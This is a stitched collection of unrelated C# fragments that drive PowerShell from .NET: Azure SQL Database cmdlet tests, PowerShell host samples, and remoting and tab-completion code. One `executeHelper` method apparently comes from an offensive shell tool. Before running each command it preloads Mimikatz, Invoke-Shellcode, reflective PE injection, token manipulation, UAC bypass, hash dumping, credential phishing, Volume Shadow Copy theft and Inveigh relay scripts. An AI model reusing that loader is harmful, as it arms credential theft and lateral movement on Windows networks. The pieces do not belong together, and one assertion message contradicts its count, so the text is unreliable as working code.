databases = new Services.Server.Database[] { newDatabaseResult3.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbeditions3", "Basic", 2, 2147483648L, "SQL_Latin1_General_CP1_CI_AS", "Basic", false, DatabaseTestHelper.BasicSloGuid); databases = new Services.Server.Database[] { newDatabaseResult4.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbeditions4", "Premium", 500, 536870912000L, "SQL_Latin1_General_CP1_CI_AS", "P1", false, DatabaseTestHelper.PremiumP1SloGuid); databases = new Services.Server.Database[] { newDatabaseResult5.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting one database"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbeditions5", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S2", false, DatabaseTestHelper.StandardS2SloGuid); // Validate Get-AzureSqlDatabase databases = getDatabaseResult.Select(r => r.BaseObject as Services.Server.Database).ToArray(); Assert.AreEqual(6, databases.Length, "Expecting 3 databases"); Assert.IsNotNull(databases[0], "Expecting a Database object."); Assert.IsNotNull(databases[1], "Expecting a Database object."); Assert.IsNotNull(databases[2], "Expecting a Database object."); Assert.IsNotNull(databases[3], "Expecting a Database object."); Assert.IsNotNull(databases[4], "Expecting a Database object."); Assert.IsNotNull(databases[5], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[1], "master", "System", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "System2", true, DatabaseTestHelper.System2SloGuid); DatabaseTestHelper.ValidateDatabaseProperties(databases[3], "testdbeditions1", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); DatabaseTestHelper.ValidateDatabaseProperties(databases[4], "testdbeditions2", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS2SloGuid); DatabaseTestHelper.ValidateDatabaseProperties(databases[5], "testdbeditions3", "Basic", 2, 2147483648L, "SQL_Latin1_General_CP1_CI_AS", "Basic", false, DatabaseTestHelper.StandardS1SloGuid); DatabaseTestHelper.ValidateDatabaseProperties(databases[2], "testdbeditions4", "Premium", 500, 536870912000L, "SQL_Latin1_General_CP1_CI_AS", "P1", false, DatabaseTestHelper.PremiumP1SloGuid); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbeditions5", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S2", false, DatabaseTestHelper.StandardS2SloGuid); // Validate Get-AzureSqlDatabaseServiceObjective var sos = serviceObjectives.Select(x => x.BaseObject as ServiceObjective).ToArray(); Assert.AreEqual(10, sos.Count()); ValidateServiceObjectiveProperties(sos[0], "System", "", 1, "Used for master database only."); ValidateServiceObjectiveProperties(sos[1], "System2", "", 1, ""); ValidateServiceObjectiveProperties(sos[2], "Basic", "", 1, "Basic resource allocation."); ValidateServiceObjectiveProperties(sos[3], "S0", "", 1, "Standard S0 resource allocation."); ValidateServiceObjectiveProperties(sos[4], "S1", "", 1, "Standard S1 resource allocation."); ValidateServiceObjectiveProperties(sos[5], "S2", "", 1, "Standard S2 resource allocation."); ValidateServiceObjectiveProperties(sos[6], "S3", "", 1, "Standard S3 resource allocation."); ValidateServiceObjectiveProperties(sos[7], "P1", "", 1, "Premium P1 resource allocation."); ValidateServiceObjectiveProperties(sos[8], "P2", "", 1, "Premium P2 resource allocation."); ValidateServiceObjectiveProperties(sos[9], "P3", "", 1, "Premium P3 resource allocation."); // Validate Remove-AzureSqlDatabase databases = new Services.Server.Database[] { removeDatabaseResult.Single().BaseObject as Services.Server.Database }; Assert.AreEqual(1, databases.Length, "Expecting no databases"); Assert.IsNotNull(databases[0], "Expecting a Database object."); DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "master", "System", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "System2", true, DatabaseTestHelper.System2SloGuid); } }
private void executeHelper(string cmd, object input) { if (String.IsNullOrEmpty(cmd)) { return; } lock (this.instanceLock) { this.currentPowerShell = PowerShell.Create(); } try { this.currentPowerShell.Runspace = this.myRunSpace; this.currentPowerShell.AddScript(Resources.Invoke_Shellcode()); this.currentPowerShell.AddScript(Resources.Invoke_Mimikatz()); this.currentPowerShell.AddScript(Resources.Invoke_ReflectivePEInjection()); this.currentPowerShell.AddScript(Resources.Invoke_PsExec()); this.currentPowerShell.AddScript(Resources.Invoke_TokenManipulation()); this.currentPowerShell.AddScript(Resources.PowerCat()); this.currentPowerShell.AddScript(Resources.Invoke_PsUACme()); this.currentPowerShell.AddScript(Resources.Invoke_Encode()); this.currentPowerShell.AddScript(Resources.Invoke_PowerView()); this.currentPowerShell.AddScript(Resources.Invoke_PowerUp()); this.currentPowerShell.AddScript(Resources.Get_PassHashes()); this.currentPowerShell.AddScript(Resources.Invoke_CredentialsPhish()); this.currentPowerShell.AddScript(Resources.Copy_VSS()); this.currentPowerShell.AddScript(Resources.Port_Scan()); this.currentPowerShell.AddScript(Resources.Inveigh()); this.currentPowerShell.AddScript(Resources.Inveigh_relay()); this.currentPowerShell.AddScript(cmd); this.currentPowerShell.AddCommand("out-default"); this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); if (input != null) { this.currentPowerShell.Invoke(new object[] { input }); } else { this.currentPowerShell.Invoke(); } } finally { lock (this.instanceLock) { this.currentPowerShell.Dispose(); this.currentPowerShell = null; } } }
public void AzureSqlDatabaseServerQuotaCertAuthTest() { // This test uses the https endpoint, setup the certificates. MockHttpServer.SetupCertificates(); using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create()) { // Setup the subscription used for the test AzureSubscription subscription = UnitTestHelper.SetupUnitTestSubscription(powershell); powershell.Runspace.SessionStateProxy.SetVariable( "serverName", SqlDatabaseTestSettings.Instance.ServerV2); // Create a new server HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession( "UnitTest.AzureSqlDatabaseServerQuotaCertAuthTest"); ServerTestHelper.SetDefaultTestSessionSettings(testSession); testSession.RequestValidator = new Action <HttpMessage, HttpMessage.Request>( (expected, actual) => { Assert.AreEqual(expected.RequestInfo.Method, actual.Method); Assert.IsTrue( actual.UserAgent.Contains(ApiConstants.UserAgentHeaderValue), "Missing proper UserAgent string."); }); Collection <PSObject> getQuota1 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"Get-AzureSqlDatabaseServerQuota -ServerName $serverName")); }); Collection <PSObject> getQuota2 = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"Get-AzureSqlDatabaseServerQuota -ServerName $serverName -QuotaName premium_databases")); }); Assert.AreEqual(0, powershell.Streams.Error.Count, "Unexpected Errors during run!"); Assert.AreEqual(0, powershell.Streams.Warning.Count, "Unexpected Warnings during run!"); // Validate Get-AzureSqlDatabaseServerQuota var quotas = getQuota1.Select(x => ((IEnumerable)x.BaseObject).Cast <Model.SqlDatabaseServerQuotaContext>().Single()).ToArray(); Assert.AreEqual(1, quotas.Length, "Expecting one server quota"); Assert.IsNotNull(quotas[0], "Expecting a server quota."); Assert.AreEqual("premium_databases", quotas[0].Name); Assert.AreEqual(SqlDatabaseTestSettings.Instance.ServerV2, quotas[0].ServerName); Assert.AreEqual("Microsoft.SqlAzure.ServerQuota", quotas[0].Type); Assert.AreEqual("100", quotas[0].Value); Assert.AreEqual("Normal", quotas[0].State); quotas = getQuota2.Select(x => ((IEnumerable)x.BaseObject).Cast <Model.SqlDatabaseServerQuotaContext>().Single()).ToArray(); Assert.AreEqual(1, quotas.Length, "Expecting server quota"); Assert.IsNotNull(quotas[0], "Expecting a server quota."); Assert.AreEqual("premium_databases", quotas[0].Name); Assert.AreEqual(SqlDatabaseTestSettings.Instance.ServerV2, quotas[0].ServerName); Assert.AreEqual("Microsoft.SqlAzure.ServerQuota", quotas[0].Type); Assert.AreEqual("100", quotas[0].Value); Assert.AreEqual("Normal", quotas[0].State); } }
CommandCompletion IPSConsoleReadLineMockableMethods.CompleteInput(string input, int cursorIndex, Hashtable options, System.Management.Automation.PowerShell powershell) { return(CallPossibleExternalApplication( () => CommandCompletion.CompleteInput(input, cursorIndex, options, powershell))); }
/// <summary> /// Create $testdb1 and $testdb2 on the given context. /// </summary> /// <param name="powershell">The powershell instance containing the context.</param> /// <param name="contextVariable">The variable name that holds the server context.</param> public static void CreateTestDatabasesWithSqlAuth( System.Management.Automation.PowerShell powershell, string contextVariable) { HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession( "UnitTest.Common.CreateTestDatabasesWithSqlAuth"); DatabaseTestHelper.SetDefaultTestSessionSettings(testSession); testSession.RequestValidator = new Action<HttpMessage, HttpMessage.Request>( (expected, actual) => { Assert.AreEqual(expected.RequestInfo.Method, actual.Method); Assert.AreEqual(expected.RequestInfo.UserAgent, actual.UserAgent); switch (expected.Index) { // Request 0-2: Create testdb1 // Request 3-5: Create testdb2 // Request 6-8: Create testdb3 case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: case 8: DatabaseTestHelper.ValidateHeadersForODataRequest( expected.RequestInfo, actual); break; default: Assert.Fail("No more requests expected."); break; } }); using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager()) { Collection<PSObject> database1, database2, database3; using (new MockHttpServer( exceptionManager, MockHttpServer.DefaultServerPrefixUri, testSession)) { database1 = powershell.InvokeBatchScript( @"$testdb1 = New-AzureSqlDatabase " + @"-Context $context " + @"-DatabaseName testdb1 " + @"-Force", @"$testdb1"); database2 = powershell.InvokeBatchScript( @"$testdb2 = New-AzureSqlDatabase " + @"-Context $context " + @"-DatabaseName testdb2 " + @"-Collation Japanese_CI_AS " + @"-Edition Web " + @"-MaxSizeGB 5 " + @"-Force", @"$testdb2"); database3 = powershell.InvokeBatchScript( @"$testdb3 = New-AzureSqlDatabase " + @"-Context $context " + @"-DatabaseName testdb3 " + @"-MaxSizeBytes 104857600 " + @"-Force", @"$testdb3"); } Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!"); Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!"); powershell.Streams.ClearStreams(); Services.Server.Database database = database1.Single().BaseObject as Services.Server.Database; Assert.IsTrue(database != null, "Expecting a Database object"); DatabaseTestHelper.ValidateDatabaseProperties(database, "testdb1", "Web", 1, 1073741824L, "SQL_Latin1_General_CP1_CI_AS", "Shared", false, DatabaseTestHelper.SharedSloGuid); database = database2.Single().BaseObject as Services.Server.Database; Assert.IsTrue(database != null, "Expecting a Database object"); DatabaseTestHelper.ValidateDatabaseProperties(database, "testdb2", "Web", 5, 5368709120L, "Japanese_CI_AS", "Shared", false, DatabaseTestHelper.SharedSloGuid); database = database3.Single().BaseObject as Services.Server.Database; Assert.IsTrue(database != null, "Expecting a Database object"); DatabaseTestHelper.ValidateDatabaseProperties(database, "testdb3", "Web", 0, 104857600L, "SQL_Latin1_General_CP1_CI_AS", "Shared", false, DatabaseTestHelper.SharedSloGuid); } }
/// <summary> /// Get the PowerShell instance for the PSv2 remote end /// Generate the PowerShell instance by using the text of the scriptblock /// </summary> /// <remarks> /// PSv2 doesn't understand the '$using' prefix. To make UsingExpression work on PSv2 remote end, we will have to /// alter the script, and send the altered script to the remote end. Since the script is altered, when there is an /// error, the error message will show the altered script, and that could be confusing to the user. So if the remote /// server is PSv3 or later version, we will use a different approach to handle UsingExpression so that we can keep /// the script unchanged. /// /// However, on PSv3 and PSv4 remote server, it's not well supported if UsingExpressions are used in different scopes (fixed in PSv5). /// If the remote end is PSv3 or PSv4, and there are UsingExpressions in different scopes, then we have to revert back to the approach /// used for PSv2 remote server. /// </remarks> /// <returns></returns> private System.Management.Automation.PowerShell GetPowerShellForPSv2() { if (_powershellV2 != null) { return _powershellV2; } // Try to convert the scriptblock to powershell commands. _powershellV2 = ConvertToPowerShell(); if (_powershellV2 != null) { // Look for EndOfStatement tokens. foreach (var command in _powershellV2.Commands.Commands) { if (command.IsEndOfStatement) { // PSv2 cannot process this. Revert to sending script. _powershellV2 = null; break; } } if (_powershellV2 != null) { return _powershellV2; } } List<string> newParameterNames; List<object> newParameterValues; string scriptTextAdaptedForPSv2 = GetConvertedScript(out newParameterNames, out newParameterValues); _powershellV2 = System.Management.Automation.PowerShell.Create().AddScript(scriptTextAdaptedForPSv2); if (_args != null) { foreach (object arg in _args) { _powershellV2.AddArgument(arg); } } if (newParameterNames != null) { Dbg.Assert(newParameterValues != null && newParameterNames.Count == newParameterValues.Count, "We should get the value for each using variable"); for (int i = 0; i < newParameterNames.Count; i++) { _powershellV2.AddParameter(newParameterNames[i], newParameterValues[i]); } } return _powershellV2; }
/// <summary> /// Removes $testdb1 and $testdb2 on the given context. /// </summary> /// <param name="powershell">The powershell instance containing the context.</param> /// <param name="contextVariable">The variable name that holds the server context.</param> public static void RemoveTestDatabasesWithSqlAuth( System.Management.Automation.PowerShell powershell, string contextVariable) { HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession( "UnitTest.Common.RemoveTestDatabasesWithSqlAuth"); DatabaseTestHelper.SetDefaultTestSessionSettings(testSession); testSession.RequestValidator = new Action<HttpMessage, HttpMessage.Request>( (expected, actual) => { Assert.AreEqual(expected.RequestInfo.Method, actual.Method); Assert.AreEqual(expected.RequestInfo.UserAgent, actual.UserAgent); switch (expected.Index) { // Request 0-5: Remove database requests case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: case 8: DatabaseTestHelper.ValidateHeadersForODataRequest( expected.RequestInfo, actual); break; default: Assert.Fail("No more requests expected."); break; } }); using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager()) { using (new MockHttpServer( exceptionManager, MockHttpServer.DefaultServerPrefixUri, testSession)) { powershell.InvokeBatchScript( @"Remove-AzureSqlDatabase " + @"-Context $context " + @"-DatabaseName testdb1 " + @"-Force"); powershell.InvokeBatchScript( @"Remove-AzureSqlDatabase " + @"-Context $context " + @"-DatabaseName testdb2 " + @"-Force"); powershell.InvokeBatchScript( @"Remove-AzureSqlDatabase " + @"-Context $context " + @"-DatabaseName testdb3 " + @"-Force"); } Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!"); Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!"); powershell.Streams.ClearStreams(); } }
/// <summary> /// BeginProcessing method. /// </summary> protected override void BeginProcessing() { if (ParameterSetName.Equals(DefaultParameterSet, StringComparison.OrdinalIgnoreCase)) { if (WsmanAuthentication != null && (_isDcomAuthenticationSpecified || _isImpersonationSpecified)) { string errorMsg = StringUtil.Format(ComputerResources.ParameterConfliction, ComputerResources.ParameterUsage); InvalidOperationException ex = new InvalidOperationException(errorMsg); ThrowTerminatingError(new ErrorRecord(ex, "ParameterConfliction", ErrorCategory.InvalidOperation, null)); } bool usingDcom = Protocol.Equals(ComputerWMIHelper.DcomProtocol, StringComparison.OrdinalIgnoreCase); bool usingWsman = Protocol.Equals(ComputerWMIHelper.WsmanProtocol, StringComparison.OrdinalIgnoreCase); if (_isProtocolSpecified && usingDcom && WsmanAuthentication != null) { string errorMsg = StringUtil.Format(ComputerResources.InvalidParameterForDCOM, ComputerResources.ParameterUsage); InvalidOperationException ex = new InvalidOperationException(errorMsg); ThrowTerminatingError(new ErrorRecord(ex, "InvalidParameterForDCOM", ErrorCategory.InvalidOperation, null)); } if (_isProtocolSpecified && usingWsman && (_isDcomAuthenticationSpecified || _isImpersonationSpecified)) { string errorMsg = StringUtil.Format(ComputerResources.InvalidParameterForWSMan, ComputerResources.ParameterUsage); InvalidOperationException ex = new InvalidOperationException(errorMsg); ThrowTerminatingError(new ErrorRecord(ex, "InvalidParameterForWSMan", ErrorCategory.InvalidOperation, null)); } if (!_isProtocolSpecified && WsmanAuthentication != null) { // Change the protocol to be WSMan if the WsmanAuthentication is specified Protocol = ComputerWMIHelper.WsmanProtocol; } } #if CORECLR if (this.MyInvocation.BoundParameters.ContainsKey("DcomAuthentication")) { string errMsg = StringUtil.Format(ComputerResources.InvalidParameterForCoreClr, "DcomAuthentication"); PSArgumentException ex = new PSArgumentException(errMsg, ComputerResources.InvalidParameterForCoreClr); ThrowTerminatingError(new ErrorRecord(ex, "InvalidParameterForCoreClr", ErrorCategory.InvalidArgument, null)); } if (this.MyInvocation.BoundParameters.ContainsKey("Impersonation")) { string errMsg = StringUtil.Format(ComputerResources.InvalidParameterForCoreClr, "Impersonation"); PSArgumentException ex = new PSArgumentException(errMsg, ComputerResources.InvalidParameterForCoreClr); ThrowTerminatingError(new ErrorRecord(ex, "InvalidParameterForCoreClr", ErrorCategory.InvalidArgument, null)); } // DCOM Authentication is not supported for CoreCLR. Throw an error // and request that the user specify WSMan Authentication. if (_isDcomAuthenticationSpecified || Protocol.Equals(ComputerWMIHelper.DcomProtocol, StringComparison.OrdinalIgnoreCase)) { InvalidOperationException ex = new InvalidOperationException(ComputerResources.InvalidParameterDCOMNotSupported); ThrowTerminatingError(new ErrorRecord(ex, "InvalidParameterDCOMNotSupported", ErrorCategory.InvalidOperation, null)); } // TODO:CORECLR This should be re-visited if we decide to add double hop remoting to CoreCLR (outgoing connections) if (ParameterSetName.Equals(AsJobParameterSet, StringComparison.OrdinalIgnoreCase)) { InvalidOperationException ex = new InvalidOperationException(ComputerResources.InvalidParameterSetAsJob); ThrowTerminatingError(new ErrorRecord(ex, "InvalidParameterSetAsJob", ErrorCategory.InvalidOperation, null)); } #endif // Timeout, For, Delay, Progress cannot be present if Wait is not present if ((_timeoutSpecified || _waitForSpecified || _delaySpecified) && !Wait) { InvalidOperationException ex = new InvalidOperationException(ComputerResources.RestartComputerInvalidParameter); ThrowTerminatingError(new ErrorRecord(ex, "RestartComputerInvalidParameter", ErrorCategory.InvalidOperation, null)); } if (Wait) { _activityId = (new Random()).Next(); if (_timeout == -1 || _timeout >= int.MaxValue / 1000) { _timeoutInMilliseconds = int.MaxValue; } else { _timeoutInMilliseconds = _timeout * 1000; } // We don't support combined service types for now switch (_waitFor) { case WaitForServiceTypes.Wmi: case WaitForServiceTypes.WinRM: break; case WaitForServiceTypes.PowerShell: _powershell = System.Management.Automation.PowerShell.Create(); _powershell.AddScript(TestPowershellScript); break; default: InvalidOperationException ex = new InvalidOperationException(ComputerResources.NoSupportForCombinedServiceType); ErrorRecord error = new ErrorRecord(ex, "NoSupportForCombinedServiceType", ErrorCategory.InvalidOperation, (int)_waitFor); ThrowTerminatingError(error); break; } } }
/// <summary> /// Helper function to create the test databases. /// </summary> public static void CreateTestDatabasesWithCertAuth(System.Management.Automation.PowerShell powershell) { HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession( "UnitTest.Common.CreateTestDatabasesWithCertAuth"); ServerTestHelper.SetDefaultTestSessionSettings(testSession); testSession.RequestValidator = new Action<HttpMessage, HttpMessage.Request>( (expected, actual) => { Assert.AreEqual(expected.RequestInfo.Method, actual.Method); Assert.IsTrue( actual.UserAgent.Contains(ApiConstants.UserAgentHeaderValue), "Missing proper UserAgent string."); }); using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager()) { Collection<PSObject> database1, database2, database3; using (new MockHttpServer( exceptionManager, MockHttpServer.DefaultHttpsServerPrefixUri, testSession)) { database1 = powershell.InvokeBatchScript( @"$testdb1 = New-AzureSqlDatabase " + @"-ServerName $serverName " + @"-DatabaseName testdb1 " + @"-Force", @"$testdb1"); database2 = powershell.InvokeBatchScript( @"$testdb2 = New-AzureSqlDatabase " + @"-ServerName $serverName " + @"-DatabaseName testdb2 " + @"-Collation Japanese_CI_AS " + @"-Edition Standard " + @"-MaxSizeGB 5 " + @"-Force", @"$testdb2"); database3 = powershell.InvokeBatchScript( @"$testdb3 = New-AzureSqlDatabase " + @"-ServerName $serverName " + @"-DatabaseName testdb3 " + @"-MaxSizeBytes 104857600 " + @"-Force", @"$testdb3"); } Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!"); Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!"); powershell.Streams.ClearStreams(); Services.Server.Database database = database1.Single().BaseObject as Services.Server.Database; Assert.IsTrue(database != null, "Expecting a Database object"); DatabaseTestHelper.ValidateDatabaseProperties(database, "testdb1", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); database = database2.Single().BaseObject as Services.Server.Database; Assert.IsTrue(database != null, "Expecting a Database object"); DatabaseTestHelper.ValidateDatabaseProperties(database, "testdb2", "Standard", 250, 268435456000L, "Japanese_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); database = database3.Single().BaseObject as Services.Server.Database; Assert.IsTrue(database != null, "Expecting a Database object"); DatabaseTestHelper.ValidateDatabaseProperties(database, "testdb3", "Standard", 0, 104857600L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid); } }
/// <summary> /// A helper class that builds and executes a pipeline that writes /// to the default output path. Any exceptions that are thrown are /// just passed to the caller. Since all output goes to the default /// outter, this method does not return anything. /// </summary> /// <param name="cmd">The script to run.</param> /// <param name="input">Any input arguments to pass to the script. /// If null then nothing is passed in.</param> private void executeHelper(string cmd, object input) { // Ignore empty command lines. if (String.IsNullOrEmpty(cmd)) { return; } // Create the pipeline object and make it available to the // ctrl-C handle through the currentPowerShell instance // variable. lock (this.instanceLock) { this.currentPowerShell = PowerShell.Create(); } // Add a script and command to the pipeline and then run the pipeline. Place // the results in the currentPowerShell variable so that the pipeline can be // stopped. try { this.currentPowerShell.Runspace = this.myRunSpace; this.currentPowerShell.AddScript(cmd); // Add the default outputter to the end of the pipe and then call the // MergeMyResults method to merge the output and error streams from the // pipeline. This will result in the output being written using the PSHost // and PSHostUserInterface classes instead of returning objects to the host // application. this.currentPowerShell.AddCommand("out-default"); this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); // If there is any input pass it in, otherwise just invoke the // the pipeline. if (input != null) { this.currentPowerShell.Invoke(new object[] { input }); } else { this.currentPowerShell.Invoke(); } } finally { // Dispose the PowerShell object and set currentPowerShell to null. // It is locked because currentPowerShell may be accessed by the // ctrl-C handler. lock (this.instanceLock) { this.currentPowerShell.Dispose(); this.currentPowerShell = null; } } }
public void NewAzureSqlDatabaseWithSqlAuthDuplicateName() { using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create()) { // Create a context NewAzureSqlDatabaseServerContextTests.CreateServerContextSqlAuth( powershell, "$context"); // Issue another create testdb1, causing a failure HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession( "UnitTest.NewAzureSqlDatabaseWithSqlAuthDuplicateName"); DatabaseTestHelper.SetDefaultTestSessionSettings(testSession); testSession.RequestValidator = new Action<HttpMessage, HttpMessage.Request>( (expected, actual) => { Assert.AreEqual(expected.RequestInfo.Method, actual.Method); Assert.AreEqual(expected.RequestInfo.UserAgent, actual.UserAgent); switch (expected.Index) { // Request 0-1: Create testdb1 case 0: case 1: DatabaseTestHelper.ValidateHeadersForODataRequest( expected.RequestInfo, actual); break; default: Assert.Fail("No more requests expected."); break; } }); using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager()) { Services.Server.ServerDataServiceSqlAuth context; using (new MockHttpServer( exceptionManager, MockHttpServer.DefaultServerPrefixUri, testSession)) { Collection<PSObject> ctxPsObject = powershell.InvokeBatchScript("$context"); context = (Services.Server.ServerDataServiceSqlAuth)ctxPsObject.First().BaseObject; powershell.InvokeBatchScript( @"New-AzureSqlDatabase " + @"-Context $context " + @"-DatabaseName testdb1 " + @"-Force"); } } Assert.AreEqual(1, powershell.Streams.Error.Count, "Expecting errors"); Assert.AreEqual(2, powershell.Streams.Warning.Count, "Expecting tracing IDs"); Assert.AreEqual( "Database 'testdb1' already exists. Choose a different database name.", powershell.Streams.Error.First().Exception.Message, "Unexpected error message"); Assert.IsTrue( powershell.Streams.Warning.Any(w => w.Message.StartsWith("Client Session Id")), "Expecting Client Session Id"); Assert.IsTrue( powershell.Streams.Warning.Any(w => w.Message.StartsWith("Client Request Id")), "Expecting Client Request Id"); powershell.Streams.ClearStreams(); } }
/// <summary> /// Initializes a new instance of the PSListenerConsoleSample class. /// </summary> public PSListenerConsoleSample() { // Create the host and runspace instances for this interpreter. // Note that this application does not support console files so // only the default snap-ins will be available. this.myHost = new MyHost(this); this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost); this.myRunSpace.Open(); // Create a PowerShell object to run the commands used to create // $profile and load the profiles. lock (this.instanceLock) { this.currentPowerShell = PowerShell.Create(); } try { this.currentPowerShell.Runspace = this.myRunSpace; PSCommand[] profileCommands = Microsoft.Samples.PowerShell.Host.HostUtilities.GetProfileCommands("SampleHost06"); foreach (PSCommand command in profileCommands) { this.currentPowerShell.Commands = command; this.currentPowerShell.Invoke(); } } finally { // Dispose the PowerShell object and set currentPowerShell // to null. It is locked because currentPowerShell may be // accessed by the ctrl-C handler. lock (this.instanceLock) { this.currentPowerShell.Dispose(); this.currentPowerShell = null; } } }
private CommandCompletion GetNewCompletionResults(string input) { CommandCompletion commandCompletion; try { Runspace runspace = this.parent.Runspace; if (runspace as LocalRunspace == null || runspace.ExecutionContext.EngineHostInterface.NestedPromptCount <= 0) { this.commandCompletionPowerShell = System.Management.Automation.PowerShell.Create(); this.commandCompletionPowerShell.Runspace = runspace; } else { this.commandCompletionPowerShell = System.Management.Automation.PowerShell.Create(RunspaceMode.CurrentRunspace); } commandCompletion = CommandCompletion.CompleteInput(input, input.Length, null, this.commandCompletionPowerShell); } finally { this.commandCompletionPowerShell = null; } return commandCompletion; }